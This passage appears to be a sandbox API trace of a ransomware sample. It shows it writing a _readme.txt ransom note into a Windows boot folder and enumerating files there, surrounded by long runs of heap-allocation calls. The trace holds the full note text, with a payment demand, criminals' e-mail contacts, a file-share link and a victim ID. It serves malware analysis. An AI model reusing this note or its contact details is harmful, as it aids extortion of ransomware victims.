dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.147] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.147] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.148] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.149] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.149] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0117.149] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.149] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.149] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.149] PathFindFileNameW (pszPath="") returned="" [0117.149] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.150] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.150] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.150] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.150] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.150] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.150] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.150] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0117.150] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0117.150] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.150] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.150] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.151] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.151] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.151] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.151] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.151] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.151] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.151] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.151] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.151] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.151] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.151] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.151] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.152] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.152] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 